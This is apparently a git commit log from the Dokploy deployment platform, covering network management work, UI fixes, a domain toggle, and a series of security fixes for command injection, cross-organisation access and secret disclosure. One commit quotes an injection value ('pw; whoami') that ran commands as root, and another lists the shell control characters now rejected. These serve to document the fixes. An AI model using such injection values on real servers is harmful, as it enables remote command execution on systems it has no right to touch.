- Updated the HandleNetwork component to eliminate the edit functionality, focusing on network creation only.
- Improved the ShowNetworks component by adding a delete action for network management, enhancing user experience.
- Introduced a new SQL migration for the network schema, establishing necessary constraints and types.
- Cleaned up the API by removing the update network functionality, reflecting the immutable nature of Docker networks.
2026-07-21 22:19:22 -06:00
autofix-ci[bot] 61c2b73f08 [autofix.ci] apply automated fixes 2026-07-22 03:47:06 +00:00
Mauricio Siu 736a77e112 refactor(networks): update network form schema and enhance handling logic
- Replaced zodResolver with standardSchemaResolver for improved schema validation.
- Added new toggle options for network settings, enhancing user interface clarity.
- Refactored network creation and update logic to streamline payload handling.
- Updated network form schema to remove default values, ensuring explicit user input.
- Introduced SERVER_LOCAL sentinel for local Dokploy server identification.
2026-07-21 21:46:40 -06:00
Mauricio Siu f4bcc2e8a8 refactor(networks): enhance network display and management interface
- Updated the ShowNetworks component to improve the layout and user experience.
- Introduced a new Pencil icon for editing networks and added a Badge component for displaying network drivers.
- Refactored loading and empty state handling for better visual feedback.
- Modified the API query to include server details for each network, enhancing the data returned for better context.
2026-07-21 19:10:51 -06:00
Mauricio Siu 99e483c1a1 feat(network): add network management schema and update related tables
- Introduced a new SQL file defining the "network" type and its associated table structure.
- Added "networkIds" column to multiple application tables for network association.
- Established foreign key constraints for the "network" table linking to "organization" and "server" tables.
- Updated migration journal and added a new snapshot for versioning.
2026-07-21 19:02:51 -06:00
Mauricio Siu 22c8a1658a Merge branch 'canary' into feat/add-network-management 2026-07-21 19:01:28 -06:00
Mauricio Siu f0f0db4c7f refactor: remove deprecated network management files and update .gitignore
- Deleted the SQL file and snapshot related to the "network" management schema, cleaning up the database structure.
- Updated the migration journal to reflect these deletions.
- Added .playwright-* to .gitignore to exclude Playwright test files from version control.
2026-07-21 19:01:11 -06:00
Mauricio Siu a49615038f Merge pull request #4883 from Dokploy/canary
🚀 Release v0.29.13
2026-07-21 10:00:57 -06:00
Mauricio Siu 8b868c66d6 Merge pull request #4882 from Dokploy/feat/custom-ai-providers
feat(ai): allow organizations to define custom AI provider presets
2026-07-21 03:23:32 -06:00
Mauricio Siu 366e44b75a fix(ai): only show Custom Presets button to owner/admin roles 2026-07-21 03:22:48 -06:00
Mauricio Siu cb2db0d30a Bump version from v0.29.12 to v0.29.13 2026-07-21 03:22:19 -06:00
Mauricio Siu 7ba3853bab feat(ai): allow organizations to define custom AI provider presets
Organization admins can define their own AI providers (name + API URL)
from the AI settings section. When at least one custom provider is
defined, it replaces the built-in provider list in the Add AI form,
the API URL is auto-filled and locked, and the backend rejects any
configuration whose URL is not in the allowed list.
2026-07-21 03:19:06 -06:00
Mauricio Siu 8def9e933e Merge pull request #4880 from Dokploy/fix/sso-initial-credentials-linking
fix(auth): enable email verification for SSO and user creation
2026-07-21 02:50:51 -06:00
Mauricio Siu e9b51667e2 fix(auth): enable email verification for SSO and user creation
Updated the SSO configuration to trust verified emails and modified user creation to set emailVerified to true by default. This enhances security and ensures that user email verification is properly handled.
2026-07-21 02:50:22 -06:00
Mauricio Siu 25370cac30 Merge pull request #4847 from ANSUJKMEHER/fix-4666-action-terminology
fix: rename compose "Reload" action to "Rebuild"
2026-07-21 00:52:29 -06:00
Mauricio Siu 52c7db1f66 Merge pull request #4877 from Dokploy/fix/2fa-invalid-code-error-message
fix(2fa): show correct error message for invalid TOTP code
2026-07-21 00:52:04 -06:00
Mauricio Siu 6d65a36aac fix(2fa): show correct error for invalid TOTP code
The verify-totp handler checked for the error code
INVALID_TWO_FACTOR_AUTHENTICATION, which no longer exists in
better-auth 1.6.23 (the two-factor plugin now returns INVALID_CODE).
As a result, entering a wrong TOTP code fell through to the generic
catch and showed "Error verifying 2FA code / Unknown error" instead of
a clear "Invalid verification code" message.

Match the current better-auth error code so the specific, actionable
message is shown.
2026-07-20 18:20:56 -06:00
Mauricio Siu cbec72ed80 Merge pull request #4876 from Dokploy/fix/collapsed-sidebar-org-menu-width
fix(ui): organization menu clipped when sidebar is collapsed
2026-07-20 18:04:24 -06:00
Mauricio Siu 3b102fac56 fix(ui): organization menu clipped when sidebar is collapsed
The organization switcher's DropdownMenuContent inherited its width from
the collapsed trigger (~40px) via the base primitive's
w-(--radix-dropdown-menu-trigger-width), clamping the menu to the
min-w-32 (128px) floor. This cut off the org name and action buttons in
icon mode.

Set an explicit w-64 so the menu fits its content regardless of the
trigger width, matching the pattern already used by the notification
dropdown in the same file.

Fixes #4840
2026-07-20 18:03:28 -06:00
Mauricio Siu b2ade17487 Merge pull request #4874 from Dokploy/fix/idor-server-remove
fix(security): cross-org authorization bypass in server.remove
2026-07-20 17:40:18 -06:00
Mauricio Siu ffe62bca0e Merge pull request #4875 from Dokploy/fix/cmdi-registry-test-login
fix(security): command injection in registry.testRegistry / testRegistryById
2026-07-20 17:40:00 -06:00
Mauricio Siu d3f522b7a6 fix(security): command injection in registry.testRegistry/testRegistryById remote path
The remote (execAsyncRemote) path built `echo ${password} | docker ${args.join(" ")}`
with the password, registryUrl and username interpolated unescaped, so a password
like `pw; whoami` ran arbitrary commands as root on the target server. Reuse
safeDockerLoginCommand (already used by create/update), which shell-escapes each
field and feeds the password via --password-stdin. The local argv+stdin path was
already safe.
2026-07-20 17:17:45 -06:00
Mauricio Siu 4aee66b2d1 fix(security): enforce organization ownership on server.remove
server.remove deleted a server (and its deployment rows) by caller-supplied
serverId without checking it belongs to the active organization, unlike server.one
and server.update. An owner/admin of org A could delete org B's server registration.
Resolve and compare the server's organizationId before the active-services guard,
so cross-org callers are rejected without leaking existence.
2026-07-20 17:14:35 -06:00
Mauricio Siu d02f34f9d4 Merge pull request #4873 from Dokploy/fix/cmdi-quote-sweep
fix(security): escape user-controlled values across command-injection sinks (quote sweep)
2026-07-20 17:05:16 -06:00
Mauricio Siu 92310ddb14 fix(security): base64-encode remote traefik YAML and escape config paths
writeTraefikConfigRemote piped the stringified YAML through echo '...' where a
single quote in any label/host/serviceName broke out (GHSA-478p). Encode it as
base64 like the other writers, and quote() every configPath used in remote
rm/cat/redirect commands (including the input.path-derived ones).
2026-07-20 16:49:48 -06:00
Mauricio Siu 16b5b7293f fix(security): escape file paths and remote schedule command in shell invocations
quote() the user-derived paths that reach the shell in file mounts
(mount.ts, docker getCreateFileCommand), patch repo read (repoPath/filePath),
certificate create/remove (certificatePath), and the remote scheduled command
(containerId/shellType/command/logPath), so $(), backticks and traversal in
these fields can no longer inject commands.
2026-07-20 16:48:43 -06:00
Mauricio Siu d629faebc6 fix(security): validate volumeName and escape volume-backup file names
Add VOLUME_NAME_REGEX (Docker volume-name format) and enforce it on volumeName in
create/update/runManually — a legit volume name never contains shell metacharacters,
so this blocks injection across every docker run/rm/rclone sink at once. Escape the
user-supplied backupFileName and the mount volumeName in database rebuild with quote().
2026-07-20 16:45:55 -06:00
Mauricio Siu eeb6e7b8ea fix(security): escape S3/rclone args and restore paths to prevent command injection
Wrap S3 credential flags (getS3Credentials + destination.testConnection), the
listBackupFiles search path, and every restore backupPath/backupFile with
shell-quote's quote() so $(), backticks, quotes and spaces in destination
fields or backupFile can no longer break out of the rclone shell commands.
2026-07-20 16:11:16 -06:00
Mauricio Siu 9b078e0b4c Merge pull request #4871 from Dokploy/refactor/inline-quote-git-providers
refactor(providers): inline quote() in git clone commands, drop shellWord helper
2026-07-20 16:00:15 -06:00
Mauricio Siu ce4be79b3d refactor(providers): inline quote() in git clone commands, drop shellWord helper
Use shell-quote's quote([...]) directly at each git-provider clone call site
instead of the one-line shellWord wrapper, and remove the now-unused helper.
Behavior is identical (quote([String(v ?? '')])).
2026-07-20 15:58:16 -06:00
Mauricio Siu 8c2e91a5e6 Merge pull request #4870 from Dokploy/fix/github-setup-callback-authz
fix(security): missing authorization on GitHub App setup callback (unauth cross-org write)
2026-07-20 15:40:46 -06:00
Mauricio Siu 0514363062 chore: drop explanatory comments in github setup handler 2026-07-20 15:37:17 -06:00
Mauricio Siu ffb8d4396b Merge pull request #4869 from Dokploy/fix/schedule-host-authz-bypass
fix(security): host-schedule owner/admin bypass via applicationId (member → root)
2026-07-20 15:34:19 -06:00
Mauricio Siu 5ae344db58 fix(security): authenticate and authorize the GitHub App setup callback
The /api/providers/github/setup callback performed privileged writes (persisting
App client_secret/webhook_secret/private_key, re-pointing installations) with no
session check, deriving the write target (organizationId/userId on gh_init,
githubId on gh_setup) from the attacker-controlled state parameter. An
unauthenticated request, or a member with no gitProviders permission, could plant
or re-point a provider in any organization.

Require a valid session, gate on the gitProviders permission (same guard the tRPC
github router uses), derive the create target from the session, and verify the
gh_setup provider belongs to the caller's organization.
2026-07-20 15:32:06 -06:00
autofix-ci[bot] f339805ddf [autofix.ci] apply automated fixes 2026-07-20 21:30:52 +00:00
Mauricio Siu 8fe3294a08 fix(schedule): give scheduleType a clean enum type for the host-access gate
createInsertSchema inferred scheduleType as a broadened union (drizzle-zod 0.5.1),
so passing input.scheduleType into assertHostScheduleAccess failed typecheck on a
cold build. Refine the insert schema's scheduleType to a plain z.enum and type the
helper param as the schedule enum.
2026-07-20 15:30:13 -06:00
Mauricio Siu 1e3f10bd22 fix(security): enforce owner/admin gate on host schedules regardless of service link
Host-level schedules (server / dokploy-server) run their script as root on the
host. The owner/admin gate only ran in the no-service branch, so a member could
attach an accessible applicationId to a dokploy-server schedule and skip it,
gaining root via schedule.runManually.

Extract assertHostScheduleAccess into the schedule service and call it before
the service-access branch in create/update/delete/runManually so the host-level
authorization always applies.
2026-07-20 15:22:06 -06:00
Mauricio Siu 393fb92344 Merge pull request #4865 from Dokploy/fix/authz-websocket-handlers
fix(security): missing authorization on docker/terminal WebSocket handlers (member -> root)
2026-07-20 15:00:02 -06:00
Mauricio Siu 79c9cf99e0 fix(security): pass serviceId from the remaining terminal entry points
- application general 'Open Terminal' now passes serviceId (applicationId).
- The docker/terminal DockerTerminalModal now forwards serviceId to its Terminal.
- compose container rows thread serviceId to their terminal + logs modals.

This lets a member with service access (but without the docker permission) open
the terminal / read logs of their own service's containers from every service
view, matching the backend service-first authorization.
2026-07-20 01:20:16 -06:00
autofix-ci[bot] 6cbc7a0031 [autofix.ci] apply automated fixes 2026-07-20 07:15:39 +00:00
Mauricio Siu eb1f11b908 fix(security): service access is authoritative for service-scoped wss ops
When a container is opened from a service page (serviceId present), gate on
service access alone — matching application.readLogs — instead of requiring the
docker permission first. This unblocks a member who has the service but not the
canAccessToDocker permission (or the server it runs on) from reading its logs /
opening its terminal. Generic Docker-overview ops (no serviceId) still require
docker permission + server access.
2026-07-20 01:15:18 -06:00
autofix-ci[bot] 1a3c76d1f2 [autofix.ci] apply automated fixes 2026-07-20 06:48:40 +00:00
Mauricio Siu 1e354a3cf2 fix(security): check service access before server in wss authz, and pass serviceId from log views
- Reorder canAccessDockerOverWss: docker permission -> service access (if
  serviceId) -> server access, so the service grant is the primary signal.
- Pass serviceId from the service log views (application + postgres/mysql/mariadb/
  mongo/redis/libsql + compose) so container logs opened from a service page are
  gated by checkServiceAccess, matching the terminal path.
2026-07-20 00:48:20 -06:00
Mauricio Siu 1bc76e9e5b Reapply "feat(security): enforce service-level access on docker WebSocket handlers"
This reverts commit 56169f3278.
2026-07-20 00:35:40 -06:00
Mauricio Siu 56169f3278 Revert "feat(security): enforce service-level access on docker WebSocket handlers"
This reverts commit 479d851829.
2026-07-20 00:29:19 -06:00
Mauricio Siu 479d851829 feat(security): enforce service-level access on docker WebSocket handlers
Completes GHSA-qf9j service-level dimension: when a container terminal/logs/stats
is opened from a service page, the frontend now passes serviceId, and the wss
authorizer calls checkServiceAccess so a member restricted to specific services
cannot reach another service's containers. Generic Docker-overview opens have no
serviceId and keep the docker-permission + server-access gate.

Verified against the local WebSocket: a member (docker:read=false) is rejected
with close code 4003; owner is allowed.

Closes GHSA-qf9j-c9p4-r4xp
2026-07-20 00:14:39 -06:00
Mauricio Siu 68f5afae42 fix(security): authorize docker/terminal WebSocket handlers
The /terminal, /docker-container-terminal, /docker-container-logs and
/docker-stats WebSocket handlers only checked session + organization, so any
authenticated member could open a root shell / read logs of any container, and
the local (serverId=local) branch reached a root SSH shell on the control-plane
host.

Adds an authorization layer (server/wss/authorize.ts):
- container ops (terminal/logs/stats): require the docker permission (owner/admin
  or a member granted canAccessToDocker); for a remote server, require the server
  be accessible to the caller.
- host/server terminal: the local host root terminal is restricted to owner/admin;
  a remote server terminal is gated on server access.

Closes GHSA-c68r-7wg9-p7v2, GHSA-899j-cjwp-v4gw, GHSA-7r6p-v9gw-pwc8, GHSA-qf9j-c9p4-r4xp
2026-07-19 23:49:02 -06:00
Mauricio Siu 637715ac66 Merge pull request #4864 from Dokploy/fix/cmdi-registry-swarm-node
fix(security): OS command injection via swarm nodeId and registry tag
2026-07-19 23:36:26 -06:00
Mauricio Siu df2779eaeb fix(security): escape swarm nodeId and registry tag in cluster commands
- cluster.removeWorker: input.nodeId (z.string(), no regex) was interpolated raw
  into 'docker node update/rm ${nodeId}' — now shell-quoted.
- swarm image upload (getRegistryCommands): registryTag / imageName were
  interpolated raw into 'docker tag'/'docker push' and an echo. registryTag is
  built from username and imagePrefix, which have no schema regex, so it was
  injectable — now shell-quoted. (The docker login already used
  safeDockerLoginCommand, so credentials were already safe.)
- gpu-setup: nodeId (derived from 'docker info', not user input) escaped as
  defense-in-depth.

Closes GHSA-4mfc-grxw-6858, GHSA-hfwh-69ch-gv47, GHSA-prwq-2mcm-mvhr
2026-07-19 23:34:18 -06:00
Mauricio Siu 95a3556baa Merge pull request #4863 from Dokploy/fix/cmdi-compose-path-command
fix(security): OS command injection via compose path and custom command
2026-07-19 23:11:33 -06:00
autofix-ci[bot] fbd84b9b0d [autofix.ci] apply automated fixes 2026-07-20 05:07:24 +00:00
Mauricio Siu d48037a802 fix(security): escape compose path and validate custom compose command
- composePath / appName are now passed through shell-quote in createCommand,
  getCreateEnvFileCommand and services/compose.ts deploy commands, instead of
  being interpolated raw into 'docker compose'/'docker stack' shell commands.
- compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now
  rejects shell control characters (; & | ` $ () {} <> newline), which a normal
  docker compose CLI line never contains, blocking breakout into host commands.

Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
2026-07-19 23:06:53 -06:00
Mauricio Siu 8539a5c82f Merge pull request #4862 from Dokploy/fix/cmdi-db-backup-restore
fix(security): OS command injection in database backup/restore commands
2026-07-19 22:59:42 -06:00
Mauricio Siu ccd2e83c57 fix(security): pass db backup/restore identifiers via env vars to avoid injection
The backup and restore command builders interpolated database name / user /
password directly into a 'docker exec ... {bash,sh} -c "..."' string executed
via execAsync / execAsyncRemote. Because the values sit inside the outer shell's
double quotes, a simple quote() is insufficient: the outer shell expands $(),
backticks and $VAR before the inner quoting applies (double-nested shell).

Values are now passed to the container as environment variables (docker exec -e
VAR=<shell-quoted>) and referenced as "$VAR" inside a single-quoted inner
script, so they never enter the inner command text and cannot break out of
either shell layer. The rest of each command (pg_dump/mysqldump/etc., flags,
| gzip) is unchanged.

Closes GHSA-qc73-mp78-4833, GHSA-qf8x-98cv-92qh, GHSA-ww4j-wjrr-rq8v, GHSA-7m3w-rm5f-h4fr, GHSA-f7mp-9jfp-mjrr
2026-07-19 22:54:44 -06:00
Mauricio Siu 89effbe395 Merge pull request #4861 from Dokploy/fix/cmdi-db-service-dockerimage
fix(security): OS command injection via dockerImage in database service deploys
2026-07-19 22:46:44 -06:00
Mauricio Siu b24202e69b fix(security): escape dockerImage in database service remote docker pull
The deploy functions for postgres/mysql/mariadb/mongo/redis/libsql interpolated
the user-settable dockerImage field unquoted into 'docker pull ${dockerImage}'
executed via execAsyncRemote (SSH) on the remote server path. Now passed through
shell-quote. The local path already used pullImage() (execFile-based) and is
unaffected.

Closes GHSA-6jrh-8qmg-jj3p
2026-07-19 22:45:31 -06:00
Mauricio Siu 0348f5fb38 Merge pull request #4860 from Dokploy/fix/cmdi-docker-build-pull
fix(security): OS command injection in docker build/pull commands
2026-07-19 22:40:47 -06:00
Mauricio Siu cba0b253c7 fix(security): escape user input in docker build/pull commands
- dockerImage (buildRemoteDocker) -> docker pull / echo
- dockerContextPath (docker-file builder) -> cd
- publishDirectory (nixpacks builder) -> docker cp source/dest paths

These fields were interpolated unescaped into shell commands run via execAsync /
execAsyncRemote during deployment. All are now passed through shell-quote.
Registry credentials already went through safeDockerLoginCommand (unchanged).

Closes GHSA-g9cg-4mmj-mh7p, GHSA-jxxj-gmpx-h5rj, GHSA-qjrc-g63x-qhp9, GHSA-98j8-6vjr-c3xw
2026-07-19 21:53:55 -06:00
Mauricio Siu 1c31ed9969 Merge pull request #4859 from Dokploy/fix/idor-application-one-secret-redaction
fix(security): git provider secret disclosure via application.one
2026-07-19 21:46:29 -06:00
Mauricio Siu ecbaf6060b refactor(security): exclude git provider secrets at query level in findApplicationById
Simpler and consistent with the existing registry column exclusion in the same
query: drop the secret columns from the nested github/gitlab/gitea/bitbucket
relations via columns:{ ...: false } instead of a post-fetch redaction helper.
Server-side clone paths re-fetch providers by id (find{Github,Gitlab,...}ById),
so deployments are unaffected. Column names are validated at compile time by
drizzle's typed columns config.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:43:51 -06:00
Mauricio Siu c0afc48da8 docs: trim block comment on redactApplicationGitSecrets 2026-07-19 21:35:59 -06:00
Mauricio Siu 65fe737bc4 Merge pull request #4858 from Dokploy/fix/idor-swarm-cross-org
fix(security): cross-org IDOR + nodeId injection in swarm read endpoints
2026-07-19 21:28:53 -06:00
autofix-ci[bot] 77384b2183 [autofix.ci] apply automated fixes 2026-07-20 03:28:36 +00:00
Mauricio Siu 68ea9f7771 fix(security): redact git provider secrets from application.one response
findApplicationById eagerly loads the github/gitlab/gitea/bitbucket relations
(needed server-side to clone) including OAuth tokens, the GitHub App private key
and webhook secret. application.one returned them to the client, exposing them to
any member with service:read even when hasGitProviderAccess was false.

Adds redactApplicationGitSecrets() in the application service (blanks the secret
columns, immutably) and applies it to application.one. No client feature reads
these secrets (verified in the frontend); server-side clone paths use
findApplicationById directly, so behaviour is unchanged.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:28:02 -06:00
Mauricio Siu 182d3656bb refactor: inline the server org-scope check in each swarm handler
Match the existing getContainerStats style instead of a shared helper.
2026-07-19 21:26:37 -06:00
Mauricio Siu c2c0e9c1c2 Merge pull request #4857 from Dokploy/fix/idor-server-ssh-key-disclosure
fix(security): SSH private key disclosure via server read endpoints
2026-07-19 21:22:56 -06:00
Mauricio Siu 5563699f71 fix(security): enforce org-scope on swarm reads and escape nodeId
swarm.getNodes/getNodeInfo/getNodeApps/getAppInfos accepted a caller-supplied
serverId and ran remote Docker Swarm reads against it with no organization
check, exposing another tenant's swarm topology cross-org (getContainerStats
already had the check; the others did not). getNodeInfo additionally
interpolated nodeId unescaped into 'docker node inspect ${nodeId}'.

Adds an org-ownership assertion to the four unscoped handlers and passes nodeId
through shell-quote in getNodeInfo.

Closes GHSA-jj6h-388v-9rwm
2026-07-19 21:20:47 -06:00
Mauricio Siu 117cfa1a89 test(types): annotate server record without sshKey relation in redaction test 2026-07-19 21:18:57 -06:00
Mauricio Siu 439eee45ed fix(security): redact SSH private key from server read responses
findServerById eagerly loads the sshKey relation (needed for server-side SSH
operations) including the plaintext privateKey. server.one and server.remove
returned that record to the client, exposing the private key to any member
with server:read regardless of canAccessToSSHKeys.

Adds redactServerSshKey() in the server service and applies it to the server.one
and server.remove responses. No client feature consumes the private key (the SSH
key management UI uses the dedicated sshKey router), and server-side callers keep
using findServerById directly, so behaviour is unchanged.

Closes GHSA-w9cp-jqfw-4xj9
2026-07-19 21:14:10 -06:00
Mauricio Siu e88c6b6b4f Merge pull request #4856 from Dokploy/fix/idor-git-provider-secret-disclosure
fix(security): git provider credential disclosure via cross-org IDOR (.one endpoints)
2026-07-19 21:11:08 -06:00
Mauricio Siu 26cae3b8a9 fix(types): guard git-provider access check for optional id in getBranches
The getBranches inputs type the provider id as optional, so only fetch and
authorize when an id is actually present; the underlying getBranches already
returns [] when no id is supplied.
2026-07-19 21:04:54 -06:00
Mauricio Siu 071d9eacee fix(security): enforce org-scope on git provider read endpoints
The .one / getRepositories / getBranches / testConnection handlers for
github, gitlab, gitea and bitbucket resolved a provider by bare id under
protectedProcedure and returned the full row (OAuth tokens, app private
keys, webhook secrets) with no organization or entitlement check, letting
any authenticated user read another org's git-provider credentials (IDOR).

Adds assertGitProviderAccess() in the git-provider service (rejects cross-org
with NOT_FOUND and non-entitled same-org with FORBIDDEN, reusing the existing
getAccessibleGitProviderIds entitlement logic) and calls it in every read
handler before returning secret-bearing data.

Closes GHSA-66r5-5m5f-57vg
2026-07-19 20:55:53 -06:00
Mauricio Siu 57ecfa8884 Merge pull request #4855 from Dokploy/fix/cmdi-git-clone-providers
fix(security): OS command injection in git clone across all providers
2026-07-19 20:49:30 -06:00
Mauricio Siu 97cd7d1009 test(security): fix type error in shell-quote op assertion 2026-07-19 20:47:42 -06:00
Mauricio Siu cf35eae73f test(security): regression tests for git clone command injection escaping 2026-07-19 20:44:46 -06:00
autofix-ci[bot] fb7f5bd5b6 [autofix.ci] apply automated fixes 2026-07-20 02:32:57 +00:00
Mauricio Siu 47347ab885 fix(security): escape user input in git clone commands across all providers
User-controlled git fields (customGitUrl, branch names, repo owner/name,
gitlab namespace, SSH hostname) were interpolated unescaped into git clone /
ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing
authenticated OS command injection. All such values are now passed through
shell-quote before interpolation (defense at the sink, covering every code
path including the compose branch bypass).

Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px,
GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq,
GHSA-cg8g-x23v-5fw8
2026-07-19 20:32:15 -06:00
Mauricio Siu 74811073f6 Remove unused localization files for various languages in the Dokploy application, including common and settings JSON files for Azerbaijani, German, English, Spanish, Persian, French, Indonesian, Italian, Japanese, Korean, Kazakh, Malayalam, Dutch, Norwegian, and Polish. This cleanup helps streamline the localization process by eliminating empty files. 2026-07-19 20:11:20 -06:00
Ansuj Kumar Meher 15fe3b21c9 fix: rename compose "Reload" action to "Rebuild"
Renames the compose "Reload" action to "Rebuild" to accurately reflect its actual behavior. Clicking "Reload" triggers rebuildCompose() which executes a full Docker build (docker compose up -d --build). Also updates dialog text, toast notifications, and tooltips accordingly.

Fixes #4666
2026-07-18 21:04:59 +05:30
Mauricio Siu df3965a581 Merge pull request #4800 from EvanSchleret/fix/typo
fix(ui): typos
2026-07-14 23:44:00 -06:00
Mauricio Siu bddc0c3d15 Merge pull request #4825 from Dokploy/fix/allow-clearing-server-domain
fix(settings): allow clearing the server domain
2026-07-14 15:20:27 -06:00
Mauricio Siu 9626c162cc Merge pull request #4826 from Dokploy/fix/repo-selector-duplicate-names
fix(ui): disambiguate repos with the same name in the repository selector
2026-07-14 15:18:47 -06:00
Mauricio Siu c4596ffa76 refactor(ui): improve repository and branch display in popovers
Updated the PopoverContent components across various provider files to ensure consistent width and padding. Enhanced the display of repository and branch names by adding truncation to prevent overflow in the UI. This change applies to Bitbucket, Gitea, GitHub, and GitLab provider components, as well as their respective compose components.
2026-07-14 15:16:56 -06:00
Mauricio Siu de62aff0fb fix(ui): disambiguate repos with the same name in the repository selector
The repository CommandItem used the repo name as its cmdk value and
the check icon compared only names, so two repos with the same name in
different owners/orgs showed the selected checkmark and hover on both
entries. Key the item by owner/name and include the owner in the
selected comparison. GitLab already keyed by URL and is unaffected.

Fixes #4793
2026-07-14 11:42:31 -06:00
Mauricio Siu d5dd35c8f8 fix(settings): allow clearing the server domain
The Server Domain form rejected an empty value ('Invalid domain name'),
making domain assignment a one-way operation. The backend already
removes the Traefik router and clears the host when it receives an
empty host, so only the client-side validation blocked removal.

Allow an empty domain to clear it, and skip the https/letsencrypt
requirements when the domain is being removed.

Fixes #4821
2026-07-14 11:39:30 -06:00
Mauricio Siu 4631ede015 Merge pull request #4823 from Dokploy/fix/compose-volume-suffix-access-mode
fix(compose): preserve named-volume access mode when adding suffix
2026-07-14 11:38:10 -06:00
autofix-ci[bot] c9817da45b [autofix.ci] apply automated fixes 2026-07-14 17:37:53 +00:00
Mauricio Siu faf600bd88 fix(logs): don't classify explicit non-error key/values as error
Lines like 'failed: false, error: none' (e.g. ofelia job summaries for
successful runs) were rendered red because the error patterns matched
the key regardless of its value. Strip key/value pairs whose value
explicitly reports a non-error before running the error keyword
patterns.

Fixes #4538
2026-07-14 11:37:21 -06:00
Mauricio Siu bc22d05f8d fix(compose): preserve named-volume access mode when adding suffix
The randomize/isolated-deployment volume transform split mount strings
on ':' and kept only the first two segments, so an access mode like
:ro, :z or :Z was silently dropped and read-only mounts became
read-write. Keep the full path+mode remainder when rebuilding the
mount string.

Fixes #4818
2026-07-14 11:34:46 -06:00
Mauricio Siu 7ba9818894 Merge pull request #4806 from tanaymishra/fix/validate-api-key-name-length
fix: validate API key name length to prevent opaque 500
2026-07-14 00:08:04 -06:00
Vyacheslav Scherbinin e2bbbc86d8 refactor(domains): remove duplicate switch labels 2026-07-13 18:16:40 +07:00
Vyacheslav Scherbinin 0e3c228c4e test(domains): add enabled to existing domain fixtures
The new non-null `enabled` column makes it a required field on the Domain
type, so the existing traefik/compose test fixtures need it too. Adds
`enabled: true` to each base fixture (spread-based fixtures inherit it).
Fixes the apps/dokploy typecheck failure on CI.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-13 18:12:32 +07:00
Vyacheslav Scherbinin 52eb38fa48 test(domains): cover disabled-domain filtering for compose
Add unit tests for addDomainToCompose verifying that a disabled domain
produces no traefik labels, an enabled domain does, and only the enabled
one emits labels when both are attached to the same service. Mocks node:fs
so loadDockerCompose runs against an in-memory compose spec.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-13 18:12:31 +07:00
Vyacheslav Scherbinin ee802cd54c feat(domains): add enable/disable toggle for domains
Add an `enabled` flag (default true) so a domain can be switched off
without deleting it, preserving its configuration.

- schema: new `enabled` column + migration; added to apiUpdateDomain
- traefik (applications): guard manageDomain so a disabled domain never
  exposes a router from any caller (create/update/forward-auth/toggle);
  applies instantly through the file provider
- compose: skip disabled domains when generating docker labels, so the
  change applies on the next deployment
- tRPC: new domain.toggleEnable procedure (permission-checked + audited),
  returns requiresRedeploy for compose domains
- UI: switch on the domain card (host row, variant E) and a Status column
  in the table view; disabled cards are dimmed; reuses the compose
  redeploy hint for the toast

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-13 18:12:29 +07:00
Vyacheslav Scherbinin 898af1f74c feat(domains): show redeploy hint on all compose domain actions
Compose domains are rendered as docker labels and only take effect on the
next deployment. Extract the "redeploy required" notice into a reusable
component/strings and surface it consistently: as a banner in the domains
list, in the add/edit dialog (replacing the inline copy), and in the toast
shown after create/update/delete. Unify grid deletion onto the shared
handler so the hint applies in both grid and table views.

Groundwork for the upcoming domain enable/disable toggle.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-13 18:10:52 +07:00
Mauricio Siu a376b00a71 Merge pull request #4813 from Dokploy/canary
🚀 Release v0.29.12
2026-07-13 04:35:14 -06:00
Mauricio Siu 9142127fb3 Merge pull request #4814 from Dokploy/feat/backup-encryption-key
feat: export full keyring in backup encryption key file
2026-07-13 04:03:23 -06:00
Mauricio Siu 31380fd325 refactor(auth): simplify SSO configuration by removing unnecessary validation settings 2026-07-13 03:56:16 -06:00
tanaymishra f577778667 fix: validate API key name length to prevent opaque 500
API key names longer than 32 characters were rejected by better-auth
with a 400 that surfaced as an opaque INTERNAL_SERVER_ERROR (the generic
"Failed to generate API key" toast). Add a shared name schema (min 1,
max 32, matching better-auth's default maximumNameLength) used by both
the tRPC input and the client form, and surface the limit on the Name
field so users see it before submitting.

Fixes #4798
2026-07-12 18:15:05 +05:30
Evan Schleret 12d3f1871c fix(ui): typos 2026-07-12 03:13:52 +02:00
Mauricio Siu c04d56bf2c feat: export full keyring in backup encryption key file 2026-07-10 03:16:31 -06:00
Mauricio Siu 2e867c5be1 feat: optionally include encryption key in web server backups 2026-07-10 03:05:28 -06:00
Mauricio Siu e87a245cdc Merge pull request #4789 from Dokploy/feat/encrypt-env-at-rest
feat: encrypt environment variables at rest with AES-256-GCM
2026-07-10 02:37:15 -06:00
Mauricio Siu 71bea42625 Merge pull request #4786 from juanjk24/patch-2
fix(ui): adjust button container to grid layout to prevent overflow in 2FA screen
2026-07-10 02:33:53 -06:00
Mauricio Siu 1cb9491013 feat: encrypt environment variables at rest with AES-256-GCM 2026-07-10 02:33:18 -06:00
Yash Kumar 92c5879438 style(ui): cleaned up class placement
Co-Authored-By: Fredy Acuna <57413945+fredhii@users.noreply.github.com>
2026-07-09 22:48:33 +05:30
Yash Kumar a94f8b96d3 fix(ui): vertically align enable submodules and improve watchpath button a11y
- Properly negate FormItem spacing for the 'Enable Submodules' toggle inline layout
- Drop redundant focus outline hide and add aria-label for watchpath delete buttons

Co-authored-by: Fredy Acuña <fredhiixd@gmail.com>
2026-07-09 22:14:06 +05:30
Juan Cuellar 01ac30974f fix(ui): adjust button container to grid layout to prevent overflow in 2FA screen 2026-07-09 10:00:42 -05:00
Yash Kumar ae95485b74 fix(ui): structurally resolve unclickable watch path badges 2026-07-09 16:59:25 +05:30
Mauricio Siu 1ca03d3dc2 Merge pull request #4767 from Dokploy/canary
🚀 Release v0.29.11
2026-07-09 03:00:31 -06:00
Mauricio Siu 1c4414165d feat: enhance container dashboard with new features
